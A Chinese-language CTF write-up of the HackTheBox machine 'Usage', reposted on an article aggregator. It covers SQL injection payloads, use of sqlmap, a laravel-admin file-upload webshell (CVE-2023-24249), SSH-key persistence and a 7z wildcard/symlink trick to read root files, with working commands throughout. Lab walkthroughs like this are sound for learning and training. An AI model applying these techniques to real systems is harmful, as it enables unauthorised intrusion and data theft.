当前位置: 首页 > news >正文

Usage - hackthebox

简介

靶场:hackmyvm

靶机:Usage(10.10.11.18)

难度:Easy

靶机链接:https://app.hackthebox.com/machines/Usage

攻击机1:ubuntu22.04 (10.10.16.21)

攻击机2:windows11(10.10.14.33)

扫描

nmap起手

nmap -sT --min-rate 10000 -p- 10.10.11.18/32 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
nmap -sT -sV -sC -O -p$ports 10.10.11.18 -oA nmapscan/detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-21 19:27 CST
Nmap scan report for 10.10.11.18
Host is up (0.16s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.82 seconds

linux靶机啊。总之从80端口开始,先把域名加入hosts,加个路由表就能上了

image-20240521193524460

http

爆破子域名

ffuf  -u http://10.10.11.18:80  -w  $HVV_PATH/8_dict/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt  -c -H "Host:FUZZ.usage.htb"  -t 10 -fw 6

image-20240521193830908

发现子域名admin。其实主界面上就能点进去……

sql注入

看看用户界面会是什么样。

image-20240521194514879

emmmm,怎么说呢,至少知道是laravel框架了?

laravel几个经典RCE都打不通,试试几个点注入一下,发现在http://usage.htb/forget-password有一个报错注入,依次输入以下两句:

' ORDER BY 8;-- -
' ORDER BY 9;-- -

前一句输入网页还正常显示“没有匹配记录”,下一条直接爆500了。

image-20240523144224894

直接起手sqlmap,爆出所有信息

image-20240523203436988

image-20240523204944763

得到密码是whatever1

image-20240523205111890

getshell

收集组件版本信息,laravel本身版本太高了没啥戏,但是encore/laravel-admin是版本1.8.18,查了一下发现一个非常接近的RCE

image-20240531172139350

https://flyd.uk/post/cve-2023-24249/

说到底其实就是文件漏洞,主要是管理员更换头像的功能

image-20240531172317333

我们先以jpg格式正常上传一个头像

image-20240531172429400

第二次则直接加上后缀.php即可

image-20240531173209819

复制链接地址就能得到shell路径了

image-20240531173227994

http://admin.usage.htb/uploads/images/1.jpg.php

image-20240531173847276

值得一提的是,这服务器删文件真的快……连上去赶快弹个shell维权

然后在dash用户目录下找到了user.txt

image-20240531175555796

提权

先把攻击机的ssh公钥写进authorized_keys,用ssh直接连上去即可

image-20240531180203579

image-20240531180216140

信息收集一波,发现dash开了monitrc服务,然后配置文件为.monitrc,里面存储了密码:3nc0d3d_pa$$w0rd

image-20240531184833628

成功登录用户xander

image-20240531184936483

sudo -l,发现可以无密码执行usage_managent

xander@usage:/tmp$ sudo -l
Matching Defaults entries for xander on usage:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser xander may run the following commands on usage:(ALL : ALL) NOPASSWD: /usr/bin/usage_management

拉下来用ida看看,发现是备份程序,其中输入1的话会备份网站

image-20240531190659317

-snl: 这个选项是为了在压缩文件中存储符号链接(如果存在的话)而不是链接指向的实际文件。

-mmt: 启用多线程压缩,这可以加速压缩过程,但可能会增加压缩文件的大小。

–: 这是一个常用的命令行习惯,用于分隔命令行选项和后面的参数。这可以确保后面的内容(即使它们以 - 开头)被视为文件名,而不是命令行选项。

*: 这是一个通配符,表示当前目录下的所有文件和子目录。所以这个命令会压缩当前目录下的所有内容。

几乎可以说锁死一切可能,遇到这种情况怎么办呢?

cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt

然后就能通过报错泄露信息了。原理就是@root.txt把root.txt定义成目录文件,这样当7z用目录形式读取它的时候就会报错然后显示其所链接的文件的内容。

image-20240531195222407

b26d9f463d705ae9bf861577e1253d55

相关文章:

  • PyQt5创建与MySQL数据库集成的应用程序
  • 利用ssh远程安装显卡驱动
  • 铁塔基站用能监控能效解决方案
  • 链表(2)反转链表
  • 字符串匹配算法(三)Trie树算法
  • 长难句打卡5.31
  • 闽盾杯 2021 DNS协议分析
  • 初识Sass
  • openfiler安装部署-1
  • 速盾:cdn如何收费?
  • 云数融合与大数据技术在日常生活中的创新应用探索
  • 【环境栏Composer】Composer常见问题(持续更新)
  • sql server 2017 linux 高可用创建和故障转移
  • Oracle 数据库 varchar2 从 4000 扩展到 32k
  • 矩阵1-范数与二重求和的求和可交换
  • 【译】理解JavaScript:new 关键字
  • 2018天猫双11|这就是阿里云!不止有新技术,更有温暖的社会力量
  • ES2017异步函数现已正式可用
  • iOS高仿微信项目、阴影圆角渐变色效果、卡片动画、波浪动画、路由框架等源码...
  • React中的“虫洞”——Context
  • 百度地图API标注+时间轴组件
  • 纯 javascript 半自动式下滑一定高度,导航栏固定
  • 构造函数(constructor)与原型链(prototype)关系
  • 坑!为什么View.startAnimation不起作用?
  • 爬虫模拟登陆 SegmentFault
  • 算法之不定期更新(一)(2018-04-12)
  • 在electron中实现跨域请求,无需更改服务器端设置
  • 看到一个关于网页设计的文章分享过来!大家看看!
  • 阿里云服务器如何修改远程端口?
  • #我与Java虚拟机的故事#连载15:完整阅读的第一本技术书籍
  • %3cscript放入php,跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击
  • (2)关于RabbitMq 的 Topic Exchange 主题交换机
  • (4) openssl rsa/pkey(查看私钥、从私钥中提取公钥、查看公钥)
  • (7) cmake 编译C++程序(二)
  • (function(){})()的分步解析
  • (Redis使用系列) Springboot 使用redis实现接口幂等性拦截 十一
  • (七)理解angular中的module和injector,即依赖注入
  • (三十)Flask之wtforms库【剖析源码上篇】
  • (未解决)jmeter报错之“请在微信客户端打开链接”
  • (循环依赖问题)学习spring的第九天
  • (一)pytest自动化测试框架之生成测试报告(mac系统)
  • (译)计算距离、方位和更多经纬度之间的点
  • (转)GCC在C语言中内嵌汇编 asm __volatile__
  • (转)http-server应用
  • (转)甲方乙方——赵民谈找工作
  • (转)为C# Windows服务添加安装程序
  • (转)真正的中国天气api接口xml,json(求加精) ...
  • * 论文笔记 【Wide Deep Learning for Recommender Systems】
  • . NET自动找可写目录
  • .NET “底层”异步编程模式——异步编程模型(Asynchronous Programming Model,APM)...
  • .net 8 发布了,试下微软最近强推的MAUI
  • .Net Core中Quartz的使用方法
  • .NET Framework 3.5安装教程
  • .Net mvc总结
  • .NET/C# 使用反射调用含 ref 或 out 参数的方法